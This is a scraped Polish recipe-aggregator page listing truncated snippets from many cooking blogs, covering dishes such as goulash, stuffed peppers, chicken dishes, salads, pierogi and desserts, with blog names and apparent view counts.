duże bezy śmietana kremówka 100 ml 1/3 tabliczki gorzkiej czekolady cukier puder   Truskawki należy rozmrozić, zmiksować na gładki mus i z dodatkiem cukru podgrzewać do lekkiego zgęstnienia sosu. Kremówkę ubić z cukrem pudrem. Czekoladę można zetrzeć prosto na deser, lub rozpuścić w woreczku strunowym i wyciskać na papier do pieczenia wzorek trochę większy od pucharka w którym będziemy podawać

Jadło i czytadło
Prasowane uszy 244

Dzisiaj płyniemy na fali popularnosci Perfekcyjnej Pani Domu, czy też raczej bardziej nam znanej i przez nas lubianej Chujowej Pani Domu Będzie o prasowaniu, praniu, ścieraniu

slodkokwasnapl
Papryka faszerowana komosą ryżową 205

Papryka faszerowana komosą ryżową to idealne jarskie danie. Farsz ze zdrowej komosy ryżowej (quinoa) uzupełniłam beszamelem – dzięki temu był wilgotny i sycący, a papryka nie wymagała dodatkowego sosu. Okazało się, że pieczarki, które zdecydowałam się dodać, nadały beszamelowi wyjątkowego smaku! Połączenie to zasmakowało mi wyjątkowo, więc czuję, że latem taka papryka nadziewana quinoą, będzie częstym gościem na moim stole

Poezja smaku
Mleczne grzanki z parmezanem pod jajem sadzonym z sosem paprykowym. 253

Smażymy każdą do zrumienienia. Na patelnie wbijamy jajo, solimy, pieprzymy i doprawiamy papryką. Przykrywamy pokrywką, by wszystko się ścięło szybciej. Na sałacie układamy grzanki i na nich umieszczamy jajko. Sos. Paprykę konserwową bez skórki siekamy, łączymy z majonezem i jogurtem naturalnym (po łyżeczce). Dodajemy pieprzu do smaku

BaRepas
Kurczak w płatkach kukurydzianych 362

Świetny pomysł na szybki obiad. Kurczak panierowany w chrupiących płatkach kukurydzianych. Do kurczaka polecam sos czosnkowy i surówkę z sałaty lodowej i marchewki . składniki: 550 g piersi z kurczaka ok 1,5 szklanki płatków kukurydzianych sól,pieprz 1 duże jajko olej Rapso do smażenia Płatki kukurydziane wsypać do rozdrabniacza, zmielić tak aby był pył ale również małe kawałeczki. Pierś kurczaka

Monia miesza i gotuje
Gulasz indyczy w śmietanowym sosie 210

dodaję do niej mąkę dolewam wody i wszystko mieszam energicznie rogolką. Gdy mięso jest już miękkie, wlewam śmietanę z mąką, mieszam i gotuję jeszcze kolejne 3 minuty.  Jeśli sos jest za gęsty można jeszcze odrobinę podlać przegotowaną wodą. My lubimy gęsty. Smacznego

Kuchnia z widokiem na ogród
Kotlety mielone z udek kurczaka. Tanie i smaczne. 401

czosnek 2 ząbki - domowa wegeta - majeranek - bułka tarta Wykonanie. Z udek wycinam kości,żyłki i skórę. ( Kości nie wyrzucam, wykorzystuję je do przygotowania wywaru, który może być bazą do sosów i zup.) Mięso mielę w maszynce do mielenia mięsa wraz z namoczoną i odciśniętą kajzerką. Dodaję jajko, przeciśnięty przez praskę czosnek i przyprawy. Mieszam, a następnie wyrabiam ręką. Odstawiam

Kuchnia z widokiem na ogród
Duszone żołądki z indyka. Pyszny gulasz. 197

skosztowali, a czemu - bo nie lubią. I tak w kółko. Ale namieszałam :) Ale polecam skusić się i spróbować. Smaczny gulasz z rozpływającego się w ustach mięska ze smakowitym sosem. U mnie podany z kaszą jęczmienną i kiszonymi ogórkami. Składniki - żołądki z indyka 70 dkg. - czosnek 3 ząbki - papryka mielona, majeranek, ziele angielskie, listek laurowy, domowa wegeta - śmietana 12% - mąka

Kuchnia z widokiem na ogród
Penne z brokułem i piersią kurczaka w sosie z serka mascarpone. 363

Bardzo smaczne danie, makaron z brokułem, piersią kurczaka w pysznym, delikatnym sosie z serka mascarpone. Szybko się robi i szybko znika. Polecam :) Składniki - makaron penne 30 dkg. - pojedyncza pierś z kurczaka - brokuł - cebula - serek mascarpone 200g. - łyżeczka masła, olej - czosnek granulowany, sól, domowa wegeta, cukier Wykonanie Makaron gotuje w lekko osolonej wodzie al dente. Piersi z kurczaka kroje w średniej

Kuchnia z widokiem na ogród
Pieczony udzieć indyczy. Smaczne, zdrowe mięso z piekarnika. 221

mięsko było soczyste i nie za mocno się zrumieniło. Kiedy mięso osiągnęło dla mnie odpowiednią miękkość, wyjęłam naczynie z piekarnika, pokroiłam na mniejsze porcje. W naczyniu powstał lekki sos, który można zagęścić mąką, lub śmietaną, ja nie zagęszczałam, bo taki delikatny bardziej pasuje na upały :) Podałam z ziemniakami z wody i młodą duszoną kapustą. http://kuchniazwidokiemna.blogspot.com/2014/04/moda-kapustka-duszona-wg-mojej-mamy.html Smacznego

Kuchnia z widokiem na ogród
Naleśnikowe placuszki z szynką, serem i innymi dodatkami a'la pizzerinki. 278

ciasta, smażę na rumiano z obu stron. Gorące przekładam na papierowe ręczniczki, aby odsączyć z nadmiaru tłuszczu. Podaję zazwyczaj na ciepło,ale na zimno tez są dobre, z dodatkiem sosu czosnkowego lub keczupu. Smacznego :) Przepis pochodzi z tej strony z delikatnymi zmianami

Kuchnia z widokiem na ogród
Fasolka po bretońsku. Smaczne danie jednogarnkowe. 176

zaspokajają głód :) Polecam :) Składniki - duża fasola jaś 80 dkg. - dobra najlepiej podwędzana cienka kiełbasa 30 dkg. - boczek wędzony 30 dkg. - sól, czosnek mielony, majeranek, kminek mielony, papryka czerwona mielona - sos sojowy ciemny, cebulka prasowana w kostce - koncentrat pomidorowy - śmietana 18 % - mąka ok.3 łyżki Wykonanie Fasolę dokładnie płuczę, przekładam do dużego garnka zalewam wodą ( wody raz więcej jak fasoli ) i moczę

Kuchnia z widokiem na ogród
Zapiekanka ziemniaczana z mięsem mielonym i brokułami. 304

posypuje je mieloną papryką i roztartym majerankiem,na ziemniaki rozkładam równo warstwę mielonego mięsa, na mięso układam różyczki brokułów. W miseczce roztrzepuję jajko ze śmietaną odrobinę solę i powstałym sosem zalewam równomiernie zapiekankę. Ser żółty ścieram na tarce o dużych oczkach i wykładam na wierzch zapiekanki. Naczynie przykrywam pokrywką. Piekę ok. 60 minut w 170 stopniach przy włączonym termoobiegu

Kuchnia z widokiem na ogród
Domowa przyprawa do mięs, zup i sosów. A'la wegeta, kucharek. 231

byłam pewna, że przepis na domową wegetę już dawno umieściłam na blogu. W wielu moich przepisach widnieje w liście składników. Używam jej przede wszystkim do dań mięsnych, zup i sosów, ale także do różnego rodzaju sałatek. Przygotowanie takiej mieszanki zajmuje naprawdę niewiele czasu, a jesteśmy pewni co jemy, bo w kupnej wegecie to przede wszystkim dominuje sól, glutaminian sodu

Kuchnia z widokiem na ogród
Karkówka pieczona w kapuście kiszonej z pieczarkami. 2785

kapustą. Naczynie przykrywam i wkładam do lekko nagrzanego piekarnika. Piekę w temperaturze 170-180 stopni  z termoobiegiem około 2 godziny. W między czasie kilka razy polewam mięso wytworzonym sosem z kapusty, jeśli go braknie to dolewam po trochu gorącej wody. Kiedy mięso jest miękkie, kroję go na plastry w/g nacięć. Doskonale pasuje podane z ziemniakami purre. Smacznego

Kuchnia z widokiem na ogród
Rosół drobiowy mieszany z indyka i kurczaka. 221

Gotuję go zazwyczaj w bardzo dużym garnku, wywar-bulion, który mi zostaje, przecedzam, przelewam do czystych słoików i zamrażam, później służy mi jako baza do wszelkich innych zup i sosów. Polecam :) Składniki - 2 udka z kurczaka - 1 duże skrzydło z indyka - garść serduszek lub żołądków drobiowych - 2 marchewki - 1 pietruszka - mały seler lub pól większego - kawałek pora - cebula - 2 ząbki

Kuchnia z widokiem na ogród
Pyszne, aromatyczne, chrupiące, pieczone ziemniaki w piekarniku a'la frytki. 804

pieczonych mięs, zwłaszcza drobiu ( Udka z kurczaka pieczone w kombiwarze )  z dodatkiem ulubionej surówki. Jako samodzielne danie smakują wybornie popijane kefirem lub maślanką. A i podawane z ulubionym sosem czosnkowym, czy keczupem są pyszniaste :) Polecam Składniki -1 kg ziemniaków - 2 łyżki oleju - sól, domowa wegeta , papryka czerwona mielona, majeranek, czosnek mielony Wykonanie Ziemniaki obieram, dokładnie płukam, kroję w cząstki

Kuchnia z widokiem na ogród
Bigos tradycyjny-polski z kapusty kiszonej i białej. 545

kiełbasy - garść grzybków suszonych - 2 łyżki powideł śliwkowych - 2-3 łyżki koncentratu pomidorowego - pół kostki smalcu Przyprawy - ziele angielskie, listek laurowy, czosnek mielony, papryka czerwona mielona, majeranek, kminek mielony, sos sojowy, domowa wegeta , sól Wykonanie Obie kapusty szatkuję drobno i w osobnych garnkach gotuję do miękkości. Kiedy są miękkie obie kapusty przekładam do większego garnka, dodaję listek laurowy i ziele

Kuchnia z widokiem na ogród
Fit sałatka z tuńczykiem 255

przepis na pyszną i dietetyczną sałatkę z tuńczykiem.  Idealna na przekąskę lub lekką kolację :) Składniki: - kilka liści sałaty lodowej lub garść mieszanki sałat  - pół puszki tuńczyka w sosie własnym - 2 plastry ananasa z puszki  - pół pomidora -łyżka jogurtu naturalnego - kilka ziaren pestek dyni - odrobina kukurydzy Przygotowanie: Na spodzie talerza układamy sałatę, kroimy ananasa w kostkę i układamy

Zdrowo kolorowo lifestylowo
Fileciki z cebulką 401

Pikantne i świetne połączenie filecików z kurczaka z białą cebulą w keczupowym sosie. Nam bardzo smakowało!  1 podwójny filet z piersi kurczaka Przyprawa do mięsa Ostra czerwona papryka 3 białe cebule Sól Pieprz Słodka czerwona papryka 2 łyżki pikantnego keczupu Olej do smażenia Filet z kurczaka myjemy, osuszamy i kroimy w paski około 3 cm. Doprawiamy przyprawą do mięsa

VioletoweKucharzenie
Ziemniaczki pieczone z boczkiem 193

taki oto sposób przygotowane ziemniaczki smakują podobnie jak te z ogniska. W całości przenikają przyprawami i zapachem wędzonego boczku. Idealnie smakują z sosem czosnkowym. Znakomity dodatek do dań. 6 ziemniaków 1 łyżeczka ostrej czerwonej papryki 1 łyżeczka ziół prowansalskich Oliwa z oliwek 200 g boczku wędzonego Ziemniaki obieramy, myjemy i kroimy na pół. Obsypujemy ostrą czerwoną papryką oraz ziołami prowansalskimi

VioletoweKucharzenie
Kurczak w kremowym sosie marchewkowo-pieczarkowym 303

Kruche i delikatne mięso z kurczaka z sosem marchewkowo-pieczarkowym. Z tak prostych składników można wyczarować tak pyszny obiad. Zapraszam na kurczakowy obiad! 1 podwójny filet z kurczaka Przyprawa do kurczaka 1 marchewka 5 pieczarek Zalewa: 0,5 szklanki wody 200 ml śmietany 12% 0,5 łyżeczki soli 0,5 łyżeczki pieprzu 0,5 łyżeczki cząbru 0,5 łyżeczki lubczyku

VioletoweKucharzenie
Jajka w sosie musztardowym z pieczarkami 186

dwie łyżki mąki pszennej i dolewamy bulion. Ważne jest aby energicznie mieszać żeby nie powstały grudki. Dodajemy musztardę i przyprawiamy solą i pieprzem. Gotujemy około 2 minut ciągle mieszając. Sos łączymy z pieczarkami i cebulką

VioletoweKucharzenie
Kąski z kurczaka 237

rosołowej, z przyprawy do mięsa, z płatków kukurydzianych, z panierki klasycznej. Wszystko smażymy na rozgrzanym oleju. Tak przygotowane kąski idealnie smakują z warzywami (pomidor, ogórek, czerwona cebula, oliwki) oraz sosem czosnkowym (pół jogurtu naturalnego, kilka łyżek majonezu i 2 przeciśnięte przez praskę ząbki czosnku

VioletoweKucharzenie
Wielkanocne rolady drobiowe z chrzanem i żurawiną 236

przyprawy kojarzą sie Wam z Wielkanocą? Moim zdaniem taką najbardziej wielkanocną przyprawą jest chrzan. Ostry. Czyści nozdrza. Wyciska łzy. Do szynki, mięska, kiełbaski, jajek. Można wykorzystać go do zup, sosów i tylko nasza wyobraźnia nas ogranicza do czego jeszcze! Zapraszam Was dzisiaj na przepyszne drobiowe roladki z chrzanem i żurawiną. Połączenie idealne - ostro i słodko. Kruche, soczyste. Przepyszne na ciepło

Szybko Tanio Smacznie
EKSPRESOWY OBIAD - DIETETYCZNY, PIECZONY ŁOSOŚ + LENIWE PIEROGI Z BATATÓW + BRUKSELKA W DIPIE MUSZTARDOWO-MIODOWYM. 238

dzień po upieczeniu. Ten w naszym domu ma swoich zwolenników. Chyba... lubimy obie zimne, grube ryby. Reasumując.  Całe danie jest dietetyczne, nie tuczące. Gdy odchudzimy nasz talerz odejmując sos z miodem i leniwe z batatów, lub gdy te "dodatki" wylądują na talerzu w śladowych ilościach to proces odchudzania masy ciała i zdrowego funkcjonowania nabierze rozpędu. Mamy na talerzu: - Źródło

Wypisz Wymaluj
Włoskie spaghetti bolognese w towarzystwie polskiej marchewki 162

olej, dodajemy pokrojoną cebulę i czosnek. Następnie smażymy mięso. Dodajemy marchewkę startą na tarce o grubych oczkach. Całość zalewamy pomidorami z puszki. Doprawiamy solą, pieprzem, ziołami, szczyptą cukru. Gdy sos zgęstnieje, dodajemy koncentrat.   Będzie mi bardzo przyjemnie, gdy po przeczytaniu mojego przepisu zostawisz po sobie ślad w postaci komentarza

Mój Smak na Życie
Gulasz na ciemnym piwie z nutą cynamonu 246

sól, pieprz. zmielony kardamon i cynamon Mięso opłukać, osuszyć, pokroić w dużą kostkę. Posypać pieprzem. na patelni rozgrzać olej z 1 łyżką masła, podsmaży mięso. Odlać do rondla powstały sos. Zrumienić mięso. Przełożyć do rondla.Cebule obrać, pokroić w półpierścienie, lekko zrumienić na 1 łyżce masła. Dodać do mięsa razem z listkami laurowymi i cynamonem. Podgrzać piwo. Mięso zalać podgrzanym piwem

Konrad Gotuje
Mozzarella smażona w migdałach z sałatką pomidorową na grzance. 194

gotowe. Proste, ale bardzo esencjonalne. Mozzarellę solimy i obtaczamy w migdałach. Smażymy po minucie na rozgrzanej patelni bez tłuszczu. Pieczywo podgrzewamy w opiekaczu, wykładamy na nie pomidory, podlewamy sosem z pomidorów i śmietany. Obok układamy mozzarellę. Sam nie wierzę, że to takie pyszne

BaRepas
Kulki ziemniaczane 420

Ziemniaczane kuleczki idealne jako dodatek do obiadu zamiast frytek lub klasycznych ziemniaków :) Można również podawać jako osobne danie z kefirem lub sosem czosnkowym. Zapraszam do smażenia! Składniki dla 3-4 osób: 600 g ziemniaków 1 łyżka masła 4 łyżeczki mąki ziemniaczanej 1 jajko sól, pieprz, oregano Dodatkowo: jajko do obtaczania bułka tarta do obtaczania olej do smażenia CZAS PRZYGOTOWANIA

My Culinary Art
Stripsy a'la KFC 445

talerzu łączymy wszystkie składniki na panierkę. Każdy kawałek kurczaka dokładnie w niej obtaczamy, a następnie smażymy partiami na głębokim tłuszczu przez kilka minut (około 5). Podajemy z ketchupem lub sosem czosnkowym. Smacznego

My Culinary Art
Ciasto czekoladowe z suszonymi śliwkami 432

jest na obszarze 4 gmin województwa małopolskiego (Laskowa, Iwkowa, Łososina Dolna i Żegocina). Śliwka ta ma szerokie zastosowanie kulinarne. Poza słodkościami stosowana jest do potraw takich jak: bigosy, zupy, sosy, pieczenie, pierogi, kompoty. Składniki: 250 g suszonych śliwek (suska sechlońska) 1 łyżeczka sody oczyszczonej 125 g masła w temperaturze pokojowej 145 g cukru 2 jajka, roztrzepane 185 g mąki

Smakowity Blog Kulinarny
Szpinakowe naleśniki z nadzieniem z mięsa drobiowego 542

miąższem z pomidorów Paprykę myjemy i kroimy w małe kwadraciki Do mięsa dodajemy oliwki i pokrojona paprykę. Patelnie przykrywamy i dusimy ok. 20 minut, następnie pokrywkę zdejmujemy i redukujemy sos  Szpinak rozmrażamy na patelni na małym ogniu. Można dodać 2 łyżki gorącej wody. Po rozmrożeniu - odstawiamy Teraz naleśniki: mąkę przesypujemy do miski, dodajemy jajka, oliwę z oliwek, sól, mleko

www.szczesliwakuchnia.blogspot.com
Klopsiki z indyka w sosie grzybowym 233

obiad przygotowałam delikatne klopsiki zanurzone w bardzo aromatycznym sosie z suszonymi podgrzybkami . Danie zimowe, ale obiecujące rychłe wyprawy w knieje i zachęcające do nowych poszukiwań. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Sakiewki z oliwkami i serem pleśniowym 173

oliwki.  Końce ciasta francuskiego złączyć ze sobą i lekko skręcić u góry. Posmarować rozkłóconym jajkiem i piec przez około 20min w 180C. Ja sakiewki podałam z sosem czosnkowym

Amatorka kuchenna
Makaron zapiekany z cukinią. 205

naczyniu żaroodpornym układać na przemian warstwy makaronu, plasterków cukinii, suszonych pomidorów (pokrojonych w plasterki). W osobnej misce wymieszać : jajko, śmietanę, doprawić do smaku solą i pieprzem. Tak przygotowanym sosem polać nasz makaron z warzywami. Całość przypudrować gałką muszkatułową. Włożyć do piekarnika na 30 minut. Po wyjęciu z piekarnika można udekorować listkami bazyli. Podawać na ciepło. Smacznego Pozdrawiam serdecznie Beata

MODA NA BIO
Prosta pizza : pomidor plus mozzarella. 185

tygodniu obok wypieków ciastkowych testuję różne pomysły na pizzę, taką, którą w całości w prosty sposób można przygotować w domu bez uciekania się do gotowych sosów do pizzy. No i jednocześnie w jej przygotowanie można włączyć dzieci. Ferie zimowe w toku. Gotowanie razem z dziećmi to fajna zabawa, która zawze czegoś ich uczy. Potrzebne nam będzie : ciasto na pizzę

MODA NA BIO
Sałata z rukolą i granatem 261

talerzu, dodaj kawałki gruszki oraz osączone pestki granatu.  Przygotuj dressing. Musztardę zmieszaj z miodem oraz oliwą. Dodaj sok z cytryny oraz szczyptę soli. Przed podaniem polej sałatkę sosem. Smacznego

Moje Qulinaria
Belgijskie frytki 2484

frytki wchłoną większą ilość tłuszczu. Będą potrzebne: 500 g pokrojonych w  grube słupki  ziemniaków 1 łyżka cukru sól morska olej do smażenia (przynajmniej 1l ) majonez czosnkowy lub sos  aïoli  do podania Przygotowanie: Uprzednio obrane i pokrojone ziemniaki zanurz w  zimnej  wodzie z łyżeczką cukru i odstaw na  pół godziny . (To tajemny sposób

Food Square
Szybki deser truskawkowy 225

greckiego 3 łyżki słonecznika 200 g truskawek 2 łyżeczki konfitury truskawkowej 2 kopiaste łyżki musli bakaliowego Truskawki rozmrozić w kąpieli wodnej posypując je odrobiną cukru , następnie rozdusić widelcem- powstał sos z kawałkami truskawek. Słonecznik prażyć na suchej patelni. Do pucharka układamy jogurt ,musli, konfiturę, jogurt , zalewamy truskawkami i posypujemy słonecznikiem. Smacznego

Cukier&Puder
Zapiekanka makaronowa z klopsikami 319

Zapiekanka powstała specjalnie dla córeczki która lubi makarony a jeszcze bardziej takie mięsne kuleczki. Tym razem zamiast mięsko w sosie podawać z makaronem lub ryżem zapiekłam w naczyniu razem z makaronem. Córeczka była zachwycona:) składniki: 250 g makaronu, u mnie rurki Czaniecki 300 g mięsa mielonego z łopatki 1 jajko 1,5 łyżki kaszy manny sól,pieprz oragano

Monia miesza i gotuje
Pancakes w dwóch wersjach :) 314

zamieszać delikatnie z powstałą masą. Następnie na patelni formować placuszki, piec z dwóch stron na rozgrzanej olejem patelni. Można podać z ulubionym składnikiem. Ja w jednej wersji polałam sosem czekoladowym , w drugiej karmelem. Obie były smaczne.  Smacznego

Chocolate Stop Tempting
Musztarda 189

Domowa musztarda doskonała na sos do sałatek, i nie tylko. Warto spróbować zrobić, jest łatwa w wykonaniu, a smak domowej musztardy niezastąpiony. Składniki: 120 gram  gorczycy żółtej 1/3 szklanki octu jabłkowego  2/3 szklanki wody  tymianku, rozmarynu  1/2 łyżeczki papryki wędzonej 1/3 łyżeczki soli morskiej  2 łyżki miodu naturalnego 1/4 szklanki wody o temperaturze pokojowej Wykonanie

kgwjanczewo
Spaghetti ze szpinakiem i kurczakiem 336

Dziś coś dla miłośników szpinaku. Sos do spaghetti zrobiłam ze świeżego szpinaku. Myślę, że mrożony nie dałby takiego samego rezultatu. Polecam! Składniki: makaron spaghetti, u mnie pełnoziarnisty (porcja dla 3 osób) ok 300 g świeżego szpinaku 3 ząbki czosnku 1/2 cebuli 150-160 g serka mascarpone 1 pojedyncza pierś z kurczaka sól, pieprz szczypta gałki muszkatołowej szczypta pieprzu cayenne Sposób

Kuchnia domowa Ani
Spaghetti bolognese 230

przykryciem przez ok. 5 min.  Dodaję słoiczek przecieru i trochę wody. Wsypuję cukier, przyprawy i duszę kolejne 5 min.  Wyciągam makaron z wody prosto na talerze, dodaję sos i posypuję serem.     Smacznego

W kuchni bez szafek
Grillowana ośmiornica 233

patelni grillowej) grillowałem ośmiornicę przez około minutę z każdej strony. Po tym czasie zdjąłem kawałki ośmiornicy z grilla i ułożyłem na wierzchu wcześniej przygotowanej sałatki. Całość polałem przygotowanym wcześniej sosem z zawartością miodu i podałem z bagietką z masłem koperkowo - czosnkowym oraz ćwiartką cytryny położoną z boku

Wyprawy kulinarne
Kurczak w Czerwonym Curry według ALEXA 281

ryżu 1/2 opakowania mieszanki warzyw chińskich 1 łyżeczka czerwonej pasty curry 1 łyżka masła do smażenia 1 pojedynczy filet Mięso pokroić w kostkę. Obsmażyć na maśle tak jak na sos i dodać 1 łyżeczkę czerwonej pasty curry. Rozmieszać. Co jakiś czas podlewać wodą. Dodać chińską mieszankę warzyw i dusić pod przykryciem do dopóki bambus będzie miękki. Między czasie ugotować ryż

Blondynka Gotuje
Zupa tajska z mleczkiem kokosowym 410

warzywnej pasty bulionowej ) 1 pierś z kurczaka 1 duża marchewka 100 g fasoli szparagowej 1 puszka mleka kokosowego 1 łyżeczka kuminu 1 łyżeczka kolendry 1 łyżeczka kurkumy 3 łyżki sosu rybnego 1 łyżka zielonej pasty curry 2 ząbki czosnku ok. 1/2 papryczki chili 1 szalotka 3 cm świeżego imbiru olej do smażenia makaron ryżowy (u mnie wstążki) sok z limonki

Kulinarne przygody Gatity
Culurgiones czyli sardyńskie ravioli 229

Mniej znane na północy Włoch  są  dniem typowym dla regionu Sardynii.   Ravioli o nazwie  Culurgiones  podaje się posypane  startym serem lub z prostym sosem pomidorowym z bazylią.  Nadzienie to głównie  ziemniaki z dodatkiem  sera  pecorino ,  cebuli, odrobiny czosnku.   Choć   uwielbiam pierogi ruskie  to muszę się

Zakamarki mojej kuchni
Kurczak pieczony z mango 223

mieloną oraz majerankiem. Marynatą dokładnie nacieram kurczaka. 3. Mięso układam w naczyniu żaroodpornym, przykrywam. Piekę 1,5 godziny w temperaturze 180 stopni. W czasie pieczenia kilkakrotnie polewam mięso wytworzonym sosem, a 15 minut przed końcem pieczenia odkrywam naczynie, aby kurczak się zarumienił. Jeżeli nie macie głębokiego naczynia żaroodpornego, kurczaka możecie upiec na blaszce w foliowym rękawie do pieczenia

Tradycyjna kuchnia Kasi
Kurczak z kaszą gryczaną 247

Uwielbiam kasze, niestety nie wszyscy podzielają mój entuzjazm do niej, więc staram się ją przemycać na różne sposoby. Wiem, że kasza ugotowana i podana bez dodatku sosu by na pewno „nie przeszła”, więc staram się ją przygotować tak, żeby smakowała domownikom. Kurczak z kaszą gryczaną to właśnie takie danie, które idealnie wkomponowuje się w wymagania i smaki odpowiednie

dom-agi.pl
Kluseczki gryczane 180

wyrabiamy. Dzielimy na części. Formujemy wałeczki, nacinamy i dzielimy na kluseczki. Gotujemy w osolonej wodzie z odrobina oleju do momentu wypłynięcia. Odławiamy i gotowe. Możemy podawać zamiast ziemniaków, z sosem lub skwarkami. Smacznego

Maminek kulinarny
Łosoś w chrupiącej panierce 241

panierce. Smażymy na patelni z olejem na średnim ogniu. Zdejmujemy i układamy na talerzu z ręcznikiem papierowym do odsączenia. Możemy podać z kluseczkami gryczanymi i pieczonymi buraczkami z sosem chrzanowym. Smacznego

Maminek kulinarny
PIEROGI Z SOCZEWICĄ I SUSZONYMI POMIDORAMI 199

krążku z ciasta nakładać łyżeczkę farszu sklejając brzegi formując pierogi.  Wrzucać do wrzątku, gotować ok. 4 minut od momentu wypłynięcia.  Podawać na gorąco prosto z wody z sosem jogurtowo - czosnkowym posypane pomidorkami lub podsmażone na masełku. Smacznego

pieprzny smaczek
kopytka 409

minucie delikatnie przechylamy nasze naczynie i zlewamy z niego wodę.  14. Okraszamy roztopionym masłem, podsmażoną cebulk ą  lub cebulk ą  z boczkiem, jak również z sosem np grzybowym, pieczarkowym czy gulaszem.  Bardzo pyszne są kopytka odsmażane. Na patelnie nalewamy trochę oleju lub rozpuszczamy na niej masło. Na rozpuszczony i nagrzany tłuszcz kładziemy nasze kopytka. Smażymy

Kulinarnie z Polką na Kresach
Sałatka słodko-kwaśna 231

pół i wyjąć  nożem pestkę. Pokroić w cienkie plasterki. Dorzucić pokrojonego w plasterki, ogórka, pomidora w ósemki, a cebulę w piórka.Dodać pokrojone listki bazylii i tymianku.Wszytko przyprawić sosem z podanych składników.Wybornie smakuje z  sadzonym jajkiem i pieczoną kiełbaską. Smacznego

Gosia gotuje
Makaron z filetem kurczaka w sosie słodko-kwaśnym 209

Kurczak, jak już wcześniej wspominałam często gości na naszym stole.Podaję go z patelni, grilla czy  jak w tym przypadku jako składnik do sosu. To niezbyt wymagające umiejętności kulinarnych mięso, ale daje jednocześnie nieograniczone możliwości. Lubię  ja i moi domownicy. SKŁADNIKI NA 3 OSOBY: _____________________ 3 pojedyncze  filety z kurczaka 1 mała cebula 1/2 czerwonej marynowanej papryki

Gosia gotuje
Kopytka 222

Składniki: 0,7 kg ugotowanych ziemniaków 1 szklanka mąki pszennej 1 jajko sól do smaku Dodatkowo: 15 dkg surowego boczku sałata maślana sos winegret Ziemniaki ugotować, lekko ostudzić, obrać i przecisnąć przez praskę, . Dodać jajko, sól, mąkę i wyrobić na jednolitą konsystencję. Z  ciasta  utoczyć wałek, podsypując go lekko mąką i  pokroić pod skosem na kopytka

Gosia gotuje
Faszerowana papryka 210

papryki  1/2 szklanki soku pomidorowego sol i pieprz do smaku 1/2 łyżeczki słodkiej papryki  1/2 łyżeczki suszonej bazylii Dodatkowo: 1/2 l wywaru warzywnego Przygotowanie: Zaczynam od przygotowania sosu, pomidory lekko nacinam z czterech stron i zalewam wrzątkiem, studzę , ściągam skórkę i kroje w kostkę. Na patelnię wlewam  oliwę  i wrzucam pomidory, dodaję pokrojoną paprykę

Gosia gotuje
Filety z kurczaka w sosie winogronowym 182

musi być nudny .Świadczyć o tym może to danie z filetów kurczaka. Co istotne, kurczak nie jest suchy, jak to się często zdarza gdy smażymy filety bez jakiegokolwiek sosu. Polecam i zapraszam po przepis. Składniki: 3 filety z piersi kurczaka  250 g pieczarek 1 mała czerwona cebula 100 g śmietany kremówki 100 g bulionu drobiowego 1 łyżka masła

Gosia gotuje
Zupa grzybowa 237

Uwielbiam grzyby  i generalnie smakują mi we wszystkich wytrawnych potrawach, najbardziej chyba sosach, choć zupa grzybowa również należy do moich faworytów. Zrobiona na rosole jest wyborna, zatem polecam. Składniki: 1 korpus z kurczaka ( u mnie 500 g) 1 duża marchewka  1 nieduży por 2 nieduże ziemniaki garść suszonych podgrzybków 350 g pieczarek garść mrożonego koperku 2-3 ząbki

Gosia gotuje
Sałatka z wędzonym śledziem 175

pośrodku zrobić miejsce na cebulę i ziemniaki.Śledzia porozkładać dookoła sałatki i posypać pokrojonym szczypiorkiem. Składniki na dresing przełożyć do małego słoiczka , zakręcić i porządnie wymieszać.Tak p rzygotowanym sosem polać sałatkę bezpośrednio przed podaniem. Smacznego

Gosia gotuje
Sałatka z awokado, szczawiu i mozzareli z miodowym dresingiem 137

pomocą noża uderzając nim w pestkę.Wyjąć miąż i pokroić na kawałki, ułożyć na szczawiu. Kulkę mozzarelli porozrywać palcami i ułożyć na całości. W słoiczku umieścić wszystkie składniki sosu, zakręcić i dokładnie wymieszać. Polać nim sałatkę bezpośrednio przed podaniem  Smacznego

Gosia gotuje
Placki po węgiersku 178

Placki po węgiersku, to jedno z moich ulubionych dań i choć jest trochę pracochłonne, smak potrawy wynagradza wszystko. Sos można dowolnie modyfilować dodając np. pieczarki, paprykę czy cukinię.Wybór mięsa również jest dowolny, choć w oryginalnych przepisach, placki podaje się z gulaszem wołowym i ja taki dzisiaj właśnie polecam. Składniki na gulasz: 600 g wołowiny pieczeniowej 2 łyżki mąki

Gosia gotuje
Grzanki z mortadelą 166

smaku 1/2 łyżeczki papryki ostrej w proszku 2 ząbki czosnku 1 łyżka masłą olej do smażenia mąka do panierowania szczypiorek  3-4 pieczarki Dodatkowo: zielona sałata z  sosem vinegret Sposób przygotowania: Na patelni rozgzać olej. W miseczce rozbić  i roztrzepać jajka, dodać sól, pieprz i paprykę. Mortadelę zanurzyć w jajku, a nastęonie w mące i kłaść

Gosia gotuje
Kotlety mielone z grzybami 183

smażyłam kotlety aż do momentu zarumienienia (około10 min).Następnie  na podsmażone już kotlety dodałam pokrojoną w piórka cebulę, jedną łyżkę masła oraz pół szklanki wody w celu uzyskania sosu. Dusiłam na malutkim ogniu 15 minut. Podałam z z konfiturą z czerwonej cebuli   i ziemniakami.   Smacznego

Gosia gotuje
Sałatka z fasolki szparagowej 449

szczypiorek, listki mięty i tymianku. Wszystko wrzucić do duzej miski , dodać fasolkę i delikatnie wymieszać. Składniki dresingu połączyć ze sobą w słoiku, zamknąć słoik i dokładnie wymieszać. Polać sałatkę sosem i odstawić do przemacerowania się smaków na 20 minut. Można podawać...Smacznego

Gosia gotuje
Wątróbka wieprzowa z cebulką, jabłkami i czerwonym winem 153

watróbce w pomarańczach , to kolejny przepis na jej pyszne przygotowanie. Tym razem bardziej wytrawne, bo z jabłkami i czerwonym winem. Polecam eksperymentowanie z tymi podrobami, bo poprzez wszelakie sosy, bardzo zyskują na smaku, choć oczywiście w formie tradycyjnej z cebulką tez smakuje wybornie. Składniki: 0,5 kg wątróbki wieprzowej 2 średnie cebule 2 twarde jabłka 3/4 szklanki czerwonego wina półwytrawnego

Gosia gotuje
Żeberka wołowe duszone w miodzie i piwie 165

miód. Dusić 1 godzinę, a po tym czasie dodać pokrojoną w piórka cebulę i jeszcze podduszać na małym ogniu przez 30 minut. Cebula ma się prawie rozpadać, tworząc zawiesisty sos. Podawać bezpośrednio po przygotowaniu. Ja najbardziej lubię z jasnym pieczywem. Smacznego

Gosia gotuje
Gołąbki bez zawijania a'la kotlety. 211

